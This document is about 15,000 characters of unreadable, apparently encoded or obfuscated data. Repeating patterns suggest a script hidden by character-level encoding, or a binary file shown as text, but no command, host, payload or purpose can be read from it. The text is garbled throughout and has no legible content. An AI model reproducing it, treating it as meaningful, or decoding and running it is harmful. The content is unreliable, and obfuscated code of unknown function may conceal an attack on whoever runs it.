^E\YX^DDVgggMMMEIU	U XMMSPMME]_F]\DDMMgMMM	2ET2_\_\E\Y\UDAM2[
^EXXYDEDAM2[
^E\YX[DDVggMMMMMMM]Y\
\[ZE2[
^E\YY^DAMMM[_
 E\YYXDDVggVgMMMMMMgMgggMMMMMMMgMMMEI^Y\\^XYMMMKKMMML	2XUTUXTEDDMgggggMM]Y\
\[ZE]]
X_E\YXZDAMT2_\_\E\YXUDDVggggMMMMMM	[]XY\_]^[EIY[\YAMDVgggMMM	[]XY\_]^[EIY^ X]UXAMMMMDVggggMMMMEI	XX \XUMMMMI		 DMMMYY2T  ^\EI		 6]0AMMMI		 6\0DVgMMMMIT]
ZX
MPMMMMMEDMM
2E[_
 E\YXTDAMMM]DMMFM\VgMMM	2E]]
X_E\YXTDAMMIT]
ZX
AMM2[
^E\YX[DDVgMMMMMEIT]
ZX
MSPMMMMMME\T^3\TYDDMMg	2E[_
 E\Y[]DAMT2_\_\EXXYDEDAM[_
 E\Y[\DDVgMMMMM]Y\
\[ZE]]
X_E\YXZDAM2[
^E\YYXDDVgggMMMMMME9MMMMI

ZDMMg]Y\
\[ZET2_\_\E\Y[_DAMMMMMI

ZDVgMMMMMMMMME(MMMI

ZDMggMMMMMMggggMMMM] TZ2EDgMgMMgMMMMEL2[
^E\Y]_DE[_
 E\_XXDDDMVgMME		ET2_\_\E\Y[^DDMMMM		E2[
^E\Y[YDDDMMMMggggMMMMMMMMEEDMMM-
2ET2_\_\E\YX_DAMM]DDMgg-	2E2[
^E\YX_DDVgMMM-	2E[_
 E\YXTDAMM]AMT2_\_\E\Y[\DDVggMMMMMMVggggggMMI 2YZUMMPMEDMMM-
2E]]
X_E\YX_DAM]DVgMggMMMMMMMELI 2YZUDMVgI
2[[[MMPMMM2[
^E\Y]_DE[_
 E\Y[XDDMMMRMMMMMEDMM-2[
^E\Y[XDE2[
^E\Y[[DDMMMMMMWMMMMMM]VgMMMEI
2[[[MMMMMQPMM]DMMI
2[[[MPMME\]]F_]]DVgMMMMMMET2_\_\EXXYDEDMMMMM@MMMI 2YZUMMMQMI
2[[[MMMMMMFMME]\^F]DDMMMVgMM-	2E]]
X_E\YX_DAMMT2_\_\E\Y[ZDEDAMMM[_
 E\Y[\DDVgMMIYTX]	MMPMMEDMM-
2ET2_\_\E\YXTDAMMMMM]DMFM\Vg-	2E]]
X_E\YXTDAMMIYTX]	AMMMT2_\_\E\Y[UDDVgMMMMMMMMEIYTX]	MMSPMMEX@_DDMgBBM	M	ggMMMM-	2E[_
 E\YX_DDVgM-	2E]]
X_E\Y[]DAMMM[_
 E\Y[ZDEDAMM[_
 E\Y[UDDVg]Y\
\[ZE]]
X_E\Y[_DAMMM[_
 E\Y[TDDVggggMMMMgMMMMMMME9MMI

ZDMMgMMMME(MMI

ZDMMMI 
 UTP=%=2 ,'"?2;(?>$"#VIXU_		PI 
 UTGTVgMMMMMMMgggMMMMMMMgMMMMMMM
^[^]2EDgMMgMMMMgMMMMMEL		ET2_\_\E\YZ]DDDMMVgMMMMMMMMMME]]
X_E\YZ\DEDMPPPMMM2[
^ET^DDMMVgggMMELX	[X2	] Z^[YEDDMMMMVgMMELX	
] ^_EDDMMMMVgMI]]MMMMPMMMX_T] 
EDVggMMMMMMIY__ 2U\MPMI]]MCMMMM]]
X_E\YZ_DVggggMMI]ZMMMPMMMMM]]
X_E\YZ^DMMCMO1OMCMMM]]
X_E\YZYDMMCMMO1OgMCMM2[
^E\YZXDMMMMMMCMMO1OMMCMT2_\_\E\YZ[DMMMCMMO1OMMMCM]]
X_E\YZZDMMCMMMO1OgCMMMM2[
^E\YZUDMMMCMMMO1OMMCMMM]]
X_E\YZTDMMMMMCMMO1OMMMCMM[_
 E\YZZDMCMMMMO1OgMCMMM]]
X_E\YU]DMMCMMO1OVgMMIMMPMMMMM-T2_\_\E\YU\DEIY__ 2U\DMMMMRM-T2_\_\E\YU_DEIY__ 2U\DMMMMMMWMMOOVgMMMMMMELT2_\_\E\Y_TDEIDDMMgggMM]Y\
\[ZE2[
^E\YU^DAMM2[
^E\YUYDDVgMMMVgMgMMMMME2[
^E\_[\DEIAMM[_
 E\YZ^DDMMMMMPPPMMDMMgMYY2T  ^\EIY__ 2U\AMIMCMMMI]ZDVgM[]^^
_EIY__ 2U\AMMMM	^EDDVgM    ^U]EIY__ 2U\AME^Z[FYYDDVgggIZX MMPMMM] UX_^^EDVgMMELIZX MMMMMMM[_
 E\YUXDEIZX DMMMMQMMET^]@Y^]DDMMVgMMMMMI]_
] MMMPMMT2_\_\E\YU[DETXXEDAM]]
X_E\^T^DDVgMMMI [X\MMPMMMMM _^][[	EDVgMI]U]MMMPMMMMT_
	
  \XE,/>=,9%MMCMM]]
X_E\\]_DAMMME[F_DDMMMMCMM]]
X_E\^T^DVgI\][MMPMMMMEgMMI [X\MMMCMJBJMMCMMMI]U]AgMMMI]]MMMCMMJBJMCMI]U]AgggDVgggMMMMI[
MPMI [X\MCMMMMMJBJMCMMMMI]U]VgMMMMMEI\][MMMMMMI	]_[	DMMMggMMMMMI 	[TX2YMMMMPMM]]
X_E\^\_DEI	]_[	DVggggMMME-[_
 E\^T_DEI 	[TX2YDMMMMMZ^\2 EI 	[TX2YAMMMME]YF]\TDAMMMMDDMgMMMMI[
MMMMPMMI	]_[	VgVggMgMI2\Z]U 	MMMPMM[^22TEDVgMggMMMI[[ \MMMPMMMMU^T	ZEgMM[_
 EZ_YDAgMMMMMMEJ22>!8*22JAMMMMMMJ22=!8*$#2/,>([Y22JAMMMMMJ22;(?>$"#22JDAggMMMEI]_
] AMMI2\Z]U 	AMT2 _U_ EDDgDVgMMMMMMELI[[ \DMgMMMMEEDM
2E]]
X_E\^T[DAM]DMMSM]DMM]Y\
\[ZE[_
 E\YUZDAM2[
^E\YUUDDVgggMMMVggMMMMgMMMMMI

^ TMMPMMOOVggMMMMMI XY	[]TMPMMME,/>=,9%MMCMM]]
X_EX[YDAMMMI [X\MMMMMCMMMMMT2_\_\E\YZ_DDVgMIUY

Y]
MMPMMMMMT2_\_\E\YUTDE]]
X_E\Y[XDDMMMMMRMM-]]
X_E\Y[XDE[_
 EXXXDDMMMWMVggggMME2[
^E\Y_TDEIUY

Y]
DMKKMMIUY

Y]
MMLPPMOODMMMgMMI XY	[]T60MMPMMMMMM2[
^E\YY[DE,/>=,9%AMMT2_\_\E\YT]DDMMCMJBJMMCMIUY

Y]
VgMMI XY	[]T60MPMI [X\MCMJBJMMCMIUY

Y]
VgMMgMMMMMMEI XY	[]TMMMIT_\UDMMMgMMMMI2Z[\^MMPMM-]]
X_E\YY_DEIT_\UDMMMMRMMMM-T2_\_\E\YT\DEIT_\UDMMMWMMMOOVgMMMMMMELT2_\_\E\Y_TDEI2Z[\^DMMMI2Z[\^MMPPPMMMMMMOODMMMMVgMMMMMME]]
X_E\Y^]DE[_
 E\YT_DAMMMMI2Z[\^AMMMMMMIZ][DDMgI	[\Z UMMMPMMMT2_\_\E[[_DEIZ][6_0DVgMMMMMMMMMMMEI	[\Z UMMLPPMOOMKKMMEI	[\Z UAMM2[
^E\Y^_DDMMPPPMMMMMMKKMMMMML
	Z]	XX22EI	[\Z UDDMgI

^ TMMMPMMI	[\Z UVgVgMgMMMgMMMMMMgMMMMMMEI

^ TMMLPPMOODMMMMMgBBMM@ ggMI[[ \MPMM]]
X_E\Y__DE]]
X_E\YT^DAMM2[
^E\YTYDMMMMCMMMMMMT2_\_\E\Y^YDEI

^ TAMMMDMCMM[_
 E\YTXDAMMMI[[ \AMMMM\DVgggMMMMMEL]]
X_E\YT[DEI[[ \DDMMMg]Y\
\[ZET2_\_\E\YUZDAMMMMT2_\_\E\YTZDDVgMMMMVggMMMMggggI^]
MMMPMMVgMMMI\
YMMMPMMMMMVgMME-]]
X_E\YTUDEI[
DDMgI\
YMMPMM2
	

EE
DMMM-[_
 E\YT\DEI[
DDVI\ ^PYZG^VI\[T[PI\ ^@\\VgMME[_
 E\YTTDEI\
YDMKKMI\
YMMPPPMMI[[ \DMMMgggI^]
MMMPMMMMVI^
\PUX]VI
YPEI^
\S]DRI^
\W@I^
\VgMMMMMMgBBM=%=8M\]WM M
@ggMMMMgMMMMITUU2UMMPMMEgMMMMMMM,/>=,9%MCMM2[
^EX[YDAgME		ET2_\_\ETXYDDMMMMMRMMMMM:=2."#9(#92)$?MMMWMMMMMI [X\DMCMMMMM]]
X_E\YZ_DAgMMDVggggMMMMIT2  ^MMPMMMMEDMMM
2E]]
X_E\X]]DAMMMM]DVgMMMMMEIT2  ^MMMMMKKMM2[
^E\Y[ZDEDM@MMIT2  ^MMMMMQMMMMME\]^[_X@\Z__XDDMMgMMMM	[]XY\_]^[EI[
AMDVggggMMMMMMMMEITUU2UMMMI^2[_DMMggggMI]Z
MMPMMMMM-T2_\_\E\YY_DEI^2[_DMMMRMM-2[
^E\YT\DEI^2[_DMMMMWMMOOVgMMMMET2_\_\E\YTTDEI]Z
DMMKKMMMMMM2[
^E\_[\DEI]Z
AMMI]U]DMMMLPPMMMMDMgMMMMMI

YT XMPM2\^\]_2][ EI]Z
AMMMMMI]U]DVIX	_TPT_GTVI]PIX	_T@_YVgMET2_\_\E\YTTDEI

YT XDMMMMKKMMI

YT XMMMMLPPMI]Z
DMYY2T  ^\EI^2[_AMMMMI

YT XDVggMgVgMMMMggMMMEI^]
DMMMgMMMMM	 ^^TYEI[
AMMMMI[[ \AMMMM2[
^E\X]\DDVgMMMMM[]^^
_EI[
AMMM	^EDDVgggMMMMMM    ^U]EI[
AMMME^YYFZ[DDVI\_ P\Z]Z\VI
^]2PI\_ 3_\XVgMMMMMYU	XT]2EI[
DVggggMMgMMMMMI]_[MPMMMMM-[_
 E\X]_DEI[
DMMRMMMMMM2
	

EE
DMMMMM-]]
X_E\X]^DEI[
DDMMMMMMWMOOVgMMMMEI]_[MMMMMMLPPMMI[[ \DMMMMgMMMgMM]Y\
\[ZE2[
^E\YUZDAMT2_\_\E\_\TDDVI2ZPZXTVIZ\_]PEI2ZS]DRI2ZW@I2ZVg	[]XY\_]^[EI[
AMMI^]
MMRMMMI\
YMMWMMMMDVgMMMI_[]
[MMMMMPMMEDM
2E]]
X_E\X]YDAMMMM]DMFMM\VgMM	2E]]
X_E\X]YDAMMI_[]
[AMM]]
X_E\Y[UDDVgMMMEI_[]
[MMSPMMMMME_F\DDMggggM	2ET2_\_\E\X]]DAMM2[
^E\Y[ZDEDAMMM2[
^E\Y[UDDVgMM]Y\
\[ZE]]
X_E\X]XDAM2[
^E\YYXDDVgMgVgMMMMgMEI]_[DVggggMMMMI
T\XUMMPMM2[
^E\X][DVgMI	XX \XUMPMMMMMEDVgMMMMEITUU2UMMMMMMMI	[^]^^DMMMgI 	[TX2YMPM2[
^E\^\_DEI	[^]^^DVgMMEL-]]
X_E\^T_DEI 	[TX2YDDMMVIU_PUXGXVI	TY2\PIU_@^ZVgMMMMI
2UX
2[MMMPM]]
X_E\X]ZDE2[
^E\X]UDDMRM-T2_\_\E\X]UDEI	[^]^^AMMJJDMMWMMMMVgMMMMMEI
2UX
2[MLPPMMMMMMKKMM[_
 E\X]ZDE2[
^E\X]TDDDM-EI
2UX
2[AM!".&2(5DVgMMMMMI	TT]MPMM-2[
^E\X]_DEI	[^]^^DMMRMMMMMM-T2_\_\E\X\]DEI	[^]^^DMMMWMM]VgMI	_MMPM-2[
^E\X\\DEI	[^]^^DMMRM-T2_\_\E\X\_DEI	[^]^^DMMMWMOOVgMMMMEL2[
^E\YTTDEI	_DDMMgMM]Y\
\[ZET2_\_\E\X]XDAMMMM[_
 E\YUYDDVgMMMEI
2UX
2[MMLPPMMDMMMgMMMME[_
 E\X\^DET2_\_\E\X]TDDDMMMMM-EI
2UX
2[AM!".&28#DVgMMMMMMMM-EI
2UX
2[DVgMgVggMMgMMMMET2_\_\E\_[\DEI	_AMMMI]U]DMMLPPMMMDMMMMgMMMMMMME-2[
^E\X\YDEI[
DDMggMMMMMMMEI
2UX
2[MLPPMMDMMMMgMME2[
^E\X\^DET2_\_\E\X\XDDDMMM-EI
2UX
2[AM!".&28#DVgMMMggMMMMM-EI
2UX
2[DVgggggMMMVgMgMMMMMI	_MMMPMMM2\^\]_2][ EI	_AMMI]U]DVgMgMMMEL]]
X_E\YTTDEI	_DDMMMMggMM]Y\
\[ZE[_
 E\X\[DAM2[
^E\YTZDDVgMMMMMMEI
2UX
2[MMMMLPPMMMMDMMgMET2_\_\E\X\^DET2_\_\E\X\XDDDMM-EI
2UX
2[AM!".&28#DVgMMM-EI
2UX
2[DVgMMMgMVgMMgMMEL-[_
 E\X\YDEI[
DDMgBBM=%=MMMgI2^	ZPE]T]F]TDVI_\]PI2^	ZH\[VgMMMMEI
2UX
2[MMMMMLPPMMMDMMMMMgMMMMMME]]
X_E\X\^DET2_\_\E\X\XDDDM-EI
2UX
2[AMMMM!".&28#DVgMMMM-EI
2UX
2[DVgMMMMMgMVggMMMMMMME YZ 

ZEDDMgI
T\_	X\[XMPMMMMMO1Q$ 	M	S1OMMMCMMI
T\XUMMMMCMM]]
X_E\X\ZDMMMMCMMMI[
MMMCMJOJMMCMMMO1QB$ 	S1OVgMMMMMMMMMMMMMMgMI
T\_	X\[XMMMMMPMMMO1Q$ 	M 	2CS1OMCMMI
T\XUMMMCM[_
 E\X\ZDMMCMMI[
MMMMMCMJOJMMMCMMO1QB$ 	S1OgMCMMOQ$ 	M 	2XCS1OMCMI
T\XUMMMMCMMMT2_\_\E\X\UDMCMMMMI[
MMMCMMJOJMMMMMMCMMO1QB$ 	S1OgMMMMCMMOQ$ 	M 	2ZCS1OMMMMMMCMMMI
T\XUMMCM]]
X_E\X\UDMMCMMMMI[
MCMMJOJMMMMMCMO1QB$ 	S1OggMMMMCMMMOQ$ 	M 	2UCS1OMMMMCMMI
T\XUMMCMMM]]
X_E\X\UDMCMMMMMMI[
MCMMMMMMJOJMCMMO1QB$ 	S1OVgMMMMgMMMMMMMEYY2T  ^\EI	[^]^^AMMMMI	_MMMMMCMMMMI
T\_	X\[XDDMI	XX \XU60MMMPMMEI	[^]^^AMI	_DVgMMggMMMMMMEI	TT]DMM[]^^
_EI	[^]^^AMMMMMI	TT]DVgggMMMMM[]^^
_EI	[^]^^AMMMMM[_
 E\Y[ZDEDDVgMMMMEI
2UX
2[MMLPPMDMMMgggMMMME]]
X_E\X\^DE]]
X_E\X\XDDDMMM-EI
2UX
2[AMMM!".&28#DVgMMM-EI
2UX
2[DVggMggMMMMEEI^]
MMT2_\_\E\X\TDEI	XX \XUDMMMMSMMMM]DMMKKMMMML	2XUTUXTEDDMMMgMMggMMMMM]Y\
\[ZET2_\_\E\X\[DAMMT2_\_\E\YXUDDVgMMMM	[]XY\_]^[EI[
AMMI\
YDVgMMMMMMMMMEI	XX \XUMMMI		 DMMMMMYY2T  ^\EI		 6]0AMI		 6\0DVgMI_[]
[MMPMEDMMMMM
2ET2_\_\E\X]YDAMM]DMMMMFMMMM\VgM	2E2[
^E\X]YDAMMI_[]
[AM[_
 E\Y[UDDVgMMMEI_[]
[MMMSPME[@^DDMMgMMMMM	2E2[
^E\X_]DAMMT2_\_\E\X_\DEDAM2[
^E\X__DDVgMMMM]Y\
\[ZE2[
^E\X\[DAM[_
 E\X_^DDVgMMMgggMMMMVgMgMMMMMMEEDMM
2E2[
^E\X]YDAMM]DMSM]DMMMMM	2ET2_\_\E\X]YDAMMM]AM]]
X_E\X__DDVgMMMMEEDMMMM
2ET2_\_\E\X_]DAMMM]DMMMMSMMM]DMMM-	2E[_
 E\X_]DDVggggMMMME9MMMI

ZDMMgMM]Y\
\[ZE]]
X_E\X_YDAMMI

ZDVgMMMMMMMMME(MMMMMI

ZDMMgMMMMMM]Y\
\[ZE]]
X_E\X_XDAMMMMI

ZDVI TU	YP[ZXVI]Z_YUPEI TU	YS]DRI TU	YW@I TU	YVgMMggMMM\TX]EDgMMMMgMMMMMMgMMEL		E[_
 E\X_[DDDMVgMMMMMMMMELT2_\_\E\X\^DET2_\_\E\X_ZDDDMMVIX
P=%=2 ,'"?2;(?>$"#VI]\ 
	2[2PIX
G\]VgMI[_Z
MPMMT_
	
  \XE,/>=,9%MMCMMMT2_\_\E\X_UDAMME]^F]ZDDVggggMMMIZX MPM] UX_^^EDVgMMMMMMELIZX MMM2[
^E\YUXDEIZX DMMMQMMMEYZYF_[DDMMMMMVggI2\Z]U 	MMPM[^22TEDVgMMMMggMMMMIMPMMM-
2EI[_Z
AMMMMMOODVgMMMMMMEIMMKKM2[
^E\YUXDEIDMMMMPPPMMT2_\_\E\X_TDEI2\Z]U 	DMMKKMIMMPPPMMI2\Z]U 	DMVgME[_
 E\X\^DE[_
 EUZTDDDMMMMMgMMMM	2EI[_Z
AMMMI2\Z]U 	AM]]
X_E\X__DDVgMMMMMME		E2[
^E\X^]DDMMKKMM		ET2_\_\E\X^\DDMMKKM		E[_
 E\X^_DDMKKM		ET2_\_\E\X^^DDMMMKKMMMMM[_
 ETZZDE[_
 E\X^YDDDMMMgI ]XYUMMPM2[
^E\X^YDVgIXT]MMPM-MMMMI ]XYUEET2_\_\E\X^]DDAMME]]
X_E\X^XDDAMME2[
^E\X^_DDAMET2_\_\E\X^^DDDVgggMMMMMMMMEIXT]MMMMKKMLIXT]@S2DMMgBGMM	MGBggMIMPMEI*!"/,!>6]]
X_E\^Y]D0@SDMRMI*!"/,!>6]]
X_E\^Y]D0@SMMMMWMMMT2_\_\E\X^[DVgMMI2Y_	MPMMIXT]@S22
EI2\Z]U 	DVgMI]22
XMMPMMIXT]@S22
EI[_Z
DVgMMMMMIXT]@SEO1YT1Y>(1X_9M1YT#91YMI1Z^ME1[1[21[\1[	AM1[1ZY1[T21ZX1[XAM1ZY1[1[YDM1X[1Y\!1XX1YX>MEJI]22
XJAMJI2Y_	JAMJJDM"#M)1XX=!$1Y^,9(M&(4M81X]),91YXM1[1ZY1[T1[21[1ZXPJI2Y_	JODVgMMMMMEIXT]@SDMMMM]Y\
\[ZE[_
 E\X^ZDAMM]]
X_E\X^UDMCMMMT2_\_\E\X^TDEIXT]@SAMMMMM]AMME\XQQ^DDDVgMMMIXT]@SEDVgggggMMggggMMMMME9MMMI

ZDMMgBBM5	
MWM M ggMMM]Y\
\[ZE2[
^E\X^ZDAMMI

ZDVggggMMMMMMME(MMI

ZDMMgMMMMMgBBM MgggMM^X2Y[TZ_^^EDgMMgMMIMMMPM		E2[
^ETXYDDMMRMMM:=2."#9(#92)$?MMWMMMM,/>=,9%MMCMM[_
 EUY^DVgMMI\TMPMMT_
	
  \XE,/>=,9%MMCMMM]]
X_E\XY]DAMME\QQ^DDVgMMMMMMMMMMMEIMMCMMM2[
^EXY[DAMIMCMMMT2_\_\E\XY\DMMMMMMCMMMI\TMMCMMMM2[
^E\XY_DAMMMMI\TDVggggMMMMY\[ 2^\\2EIUXU^TDgggMgMMMMMMI	[\^	ZMMMPMMEDMMMMM-[_
 E\\\TDEIUXU^TDVgggMMMMMMMMEI	[\^	ZMQME]_	F]^ZDMMMMMI	[\^	ZMMSME]\XX_^UF]	UDDMMMMMMVggMMMI\[[^

	MMMMPM-T2_\_\E\X\_DEIUXU^TDVgMMMEL[_
 E\YTTDEI\[[^

	DMMMMM]]
X_E\X_TDEI\[[^

	DMMMMQME^TF[\DMM]]
X_E\X_TDEI\[[^

	DMMMSMMEZU]^UXF\^\[Z[ZDDMMVgMMMI 2YZUMMMMPM]]
X_E\\]XDEJWJAMMI\[[^

	AMMMME_^X3_^TDDVgMMMMME]]
X_E\X\TDEI 2YZUDMMMQME_]3\[DMMMMMMMI 2YZU6]0MLPPM]]
X_E\XY^DMMM2[
^E\X_TDEI 2YZU6E\]X3\][D0DMMMMMMQMMMMEY\FTDDMMMMMMMVgMMMIYT]XMMPM-2[
^E\XYYDEI 2YZU6E\F_D0DVgMMMMEIYT]XMMMMMMPPPMMMMMMM]]
X_E\XYXDEIYT]XDMMMMMQMME]^F]_DDMMMMMVggggMMMET2_\_\E\X^TDEIYT]XAM]AMM_DMMMMPPPMMO1\1UODMMgMMI U\ZZMMPMMM-]]
X_E_T]DEJ;JAM[_
 E\X^TDEIYT]XAMM@E[\3XZDDDVgMMMMMMMMEL]]
X_E\XY[DEI U\ZZDMMMI U\ZZ6\0MMMMMQMME__3\\YDMMMMMMI U\ZZ6\0MMMMSME\]YUYT]FU[DDMMMMVgMMME]]
X_E\XYZDET2_\_\E\XYUDDDMMMMIYT]XMMPMMMM-
		EIYT]XAMME\]YUX[ZFTDDVggMMMMMET2_\_\E\XYTDET2_\_\E_T^DDDMMgIYT]XMMMMPMM-
E2[
^E\X^TDEIYT]XAMMMMMEUF_DAMMM]]
X_E\XX]DEIYT]XDMM@MMEZ^3T\DDAMME\]YUXX[F_]DDVgMMMMMMMET2_\_\E\YTTDEIYT]XDMMMMMMKKMMM2[
^E\XX]DEIYT]XDMSMMMME\]YUXZ]F[DDMMMMMMMMMMVgMMMMMMMggMMMMMMMMMMMVggMMMMELT2_\_\E\XX\DEIYT]XDMMMM]]
X_E\XX_DEIYT]XDMMQMMEUYF\[DMMMT2_\_\E\XX^DEIYT]XAM]AMMME\[Y3\[\DDMLPPMMT2_\_\EZYZDMMMMMMMMM]]
X_E\Y_UDEIYT]XDMMMMLPPMMI 2YZU6_0DMMMMMMMMMMVgMMMIYT]XVI U\TZPU\XVI2[[Y^TPEI U\TZS]DRI U\TZW@I U\TZVgggggMMM	\EDggggMMMMMgMMMMMMMEL		E[_
 E\X_[DDDMMVgMMMMMMMI2TMMMPM^X2Y[TZ_^^EDVgMMEL-2[
^E\X\YDEI2T6\0DDMMVgMMMMMMMEY\[ 2^\\2EI2T6\0DMPPPMMMDMVITTY
P^_GTVI ^ZPITTY
@\[VgMMMMMMI]_]XMPMMMU^T	ZET2_\_\EZ^]DAMEJ22>!8*22JDAMMME2[
^E\YU[DETXXEDAMMT2_\_\E\^T^DDDDVgMMMMMEL[_
 E\XX\DEI]_]XDMMMMMMMI]_]XMMPPPMMOODMMMVgMMMI]_]XMMMMPM]]
X_E\Y__DE[_
 E\XXYDAMOOAMMMMI]_]XDVgMMMMELT2_\_\E\XX\DEI]_]XDMMMMMI]_]XMPPPMMMOODMVgIY_MMMPMMMMMMT2 _U_ EDMMMCMMJWJMMMMMCMMT_
	
  \XE,/>=,9%MCMMT2_\_\E\XXXDAMME]_F][DDVgMI	UXYU2MMMMMMPM[_
 E\XX[DMCMMMMIY_MMCMMMMMMT2_\_\E\XXZDVgMI
_U]X _MMPMM[_
 E\XXUDMMCMMMIY_MMCMM[_
 E\XXZDVgggMMI	\ _MPM]]
X_E\XXTDMCMMMMI2T6_0MCMMT2_\_\E\X[]DMMCMMMMMMT2 _U_ EDMMMCMMM[_
 E\XXZDMCMMMMO1OMMMMMCMMMMMI]_]XVgggMMMMEL-]]
X_E\X\YDEI2T6]0DDMMMgMMMMEL_[_Z2^TEI2T6]0AMMOODDMgMM]Y\
\[ZE[_
 E\XY]DAMT2_\_\E\X[\DDVggggVgMMgBBM-M 		ggMMEYY2T  ^\EI2T6]0AMMMMMI	\ _DDMMMggMMMMM[]^^
_EI2T6]0AMMM	^EDDVgM    ^U]EI2T6]0AMME^[XFXXDDVgMMMYU	XT]2EI2T6]0DVgMgBBM:=M/M;WMMggMVgggggMMI2  ^MPMM-T2_\_\E\X\_DEI2T6]0DVgMMMMMMMMMEL]]
X_E\XX\DEI2  ^DMMMM[_
 E\XX_DEI2  ^DMMMSMMME_]TZ]TUFXYDDMVgMMME]]
X_E\X[_DEI2  ^AMI	UXYU2DMMLPPMMMMMMKKMMT2_\_\E\X[_DEI2  ^AMMI
_U]X _DMLPPMMDMMMVgMME[_
 E\X[_DEI2  ^AM]]
X_E\X[^DDMMMMMPPPMMMMKKMMT2_\_\E\X[YDEI2  ^AMMMM]]
X_E\X[XDMMCMI2T6_0DMLPPMMDMggggMMMME[_
 E\X[[DE2[
^E\X[ZDAMT2_\_\E\XX^DEI2  ^AMM]AMME\TXFXDDAMMI]Y]	\[DMKKM2 EI]Y]	\[6\0AMMMMT2 _U_ EDAM]]
X_E\TUDDDMVgMMMMMEL_[_Z2^TEI2T6]0AMI2  ^DDMMgMMMM]Y\
\[ZE[_
 E\X[UDAM[_
 E\X[\DDVI U
\2P@ZXUVI2Y__ 
PEI U
\2S]DRI U
\2W@I U
\2VgVggMMMMMMEYY2T  ^\EI2T6]0AMI	\ _DDMMgMMMM[]^^
_EI2T6]0AMMMMMM	^EDDVgMMMMMMM    ^U]EI2T6]0AMMMME]\_	F]ZZDDVgMMMMMYU	XT]2EI2T6]0DVgMMMgMVggMI_[T[MMMPMMT_
	
  \XE,/>=,9%MMCMM[_
 E\XXXDAMMMMME][F]_DDVgMMMI2  ^MPMT2_\_\E\X[TDET2_\_\E\XZ]DMMMMCMMI_[T[MMMMMCMM[_
 E\XZ\DAMMOOAMI2  ^DVgMMMMMMMMMELT2_\_\E\XX\DEI2  ^DDMgMMMM]Y\
\[ZET2_\_\E\X[UDAM2[
^E\YTZDDVggggMVggMMMMMMMMMMMEL-2[
^E\^T_DEI2T6]0DDMMMMMVgggMMEL ]Y UXZE]]
X_E\XZ_DDDMMgMMMM]Y\
\[ZE[_
 E\XZ^DAMM[_
 E\XZYDDVgMMMMMVgMgMMMMEL_[_Z2^TEI2T6]0AMMMMMI2  ^DDMgM]Y\
\[ZET2_\_\E\XZ^DAMM]]
X_E\X[\DDVI	^ PYY[XVI[] U_PI	^ H\\VgMVgMgY]^  _ ET2_\_\E\XZXDDVggMMMMMMIY^ZMPMI	UXYU2MCMMMO1OMCMMMMMM[_
 E\XZ[DMCMI2T6_0MMCM]]
X_E\XXZDMCMMO1OMMMMMCMMMI]_]XMMCMO1OMCMMI
_U]X _VgMMMMYY2T  ^\EI2T6]0AM^ 2_	U
EI2  ^AMIY^ZDDVgMMMMMMMMME9MI

ZDMMMgMMM]Y\
\[ZE[_
 E\XZZDAMMI

ZDVgMMMMME(MMI

ZDMgMMMMgMMggMMMMMMMM _Z]\^Y XY^^EDgMMMMMMgMMMMMMMgMMMMMMMMEL		E2[
^E\X_[DDDMVgMMI2TMMPMMMMMM^X2Y[TZ_^^EDVgMMIUYXMPME
DMMMMMM-[_
 E\XZUDEI2T6\0AMMAMMAMM]AMMMMEYQQYDDVggggMME]]
X_E\XZTDE[_
 E\XU]DAMIUYXAMMMMI__^\\DMMKKMMMI__^\\6\0MMPPPMMT2 _U_ EDDMMgMI]
]Z	_MPMMMEDMM
2E]]
X_E\XU\DAMMM]DVgMMMMMMME[_
 E\X_\DEDMMM@MMI]
]Z	_MMMQMMMMEX^UF[_DDMMVggMMMEY\[ 2^\\2EI2T6\0DMMMMMLPPMMMDMMMI X ]PT\XTVIX \	^UTPI X ]H^VgMMMM-	2ET2_\_\E\XU\DAMMM2[
^E\X_\DEDAMM[_
 E\X__DDVgMMMMVIZ\XPE]^^F]T]DVI Y
PIZ\XH\XVgMMMMgMMM]Y\
\[ZE]]
X_E\XZZDAMMT2_\_\E\XU_DDVgMgMMIZX MMMMMPMM] UX_^^EDVggMMMMMELIZX MMMMM[_
 E\XX_DEIZX DMMQMEYZXF_XDMMMMMMM]]
X_E\XX_DEIZX DMMSMMMME\]YUYU^FT^DMMML]TX^EIZX DDMMMVI_ 
\PE]UF]\DVIZ^Y^]PI_ 
\HTVgMMMI]
MMMMMPMMT2_\_\E\XYTDET2_\_\E_U^DDMMMMMRMMMMMM-
	EIZX AMME^Z3^XDDMMWMMIZX VgMMEL2[
^E\XX\DEI]
DMMMI]
MMMPPPMMOODMMMMVgMMMMMMMEYY2T  ^\EI2T6\0AMM]]
X_E\XU^DMMMCMMT2 _U_ EDMMCMJWJMMCMM[_
 E\XUYDEIZX DMCMMMMJWJMMMMMCM2[
^E\^ZXDEI]
DDDMMMMM-	2E[_
 E\XU\DAMMM[_
 E\X_\DEDAMMT2_\_\E\XUXDDVgMMMMMMMMME9MMI

ZDMMMgMM]Y\
\[ZE]]
X_E\XU[DAMMI

ZDVgMMMMMMMMMMMMME(MMMI

ZDMgMMgMgMZ^]T
\_\EDgggMMMMMEL[_
 E\XYTDET2_\_\E\XUZDDDMMVgI	Y
\2UMMPMMM		E[_
 E\X_[DDMKKM-]]
X_E\X\\DE,/>=,9%MMMMMCMMMT2_\_\EX[TDDMMRMMMM,/>=,9%MMMMCMM[_
 EX[TDMMMMWMMMM22+$!(22VggMMMM2[
^E\XUZDEI	Y
\2UAMMJJDVggggMMMMMMgMMXZ
]\ZEDgMMgMMMMgMMMMMMMMELT2_\_\E\XYTDET2_\_\E\XUUDDMMMMMML]]
X_E\XUTDE[_
 E\XT]DDDMMMMVgMMMMMMMMEL		E[_
 E\XT\DDDMMVggggMIZX MMMMMMPMMM] UX_^^EDVgMMMELIZX MMMMMMM2[
^E\XT_DEIZX DMQMMMEU\Y@^\YDDMMMVgMMIMMMMPMZ^]T
\_\EDVgggMEIMPPPMMMDMMMVggI	
Y_]MMPMM2[
^E\XUTDE]]
X_E\XT^DDMRMMT2_\_\E\XT^DET2_\_\E\XTYDAMIZX DMMWMMMM2[
^E\XUYDEIZX DVgMMMI^^UMPMM]]
X_E\XTXDMCMM2[
^E\XT_DEIZX DMCMMJWJMMMCMMI	
Y_]MMMCMMMMMMO1OMMCMIZX VgMI2\^^TY2MMMMMMPM2[
^E\XT_DEI^^UDVgI^UY ]MPMMMM-2[
^E\XUUDEIAMJJAMMM]AMM]DVgMMMMMMEI^UY ]DMMMgI^[2 ^MMMMMMPMEDMMMM-T2_\_\E\XT[DEI^UY ]DVggggMMMI\
YMMMPMM-2[
^E\XTZDEI^UY ]AMMM]AMMI^[2 ^DVgMMMMMMET2_\_\E\XTUDEI\
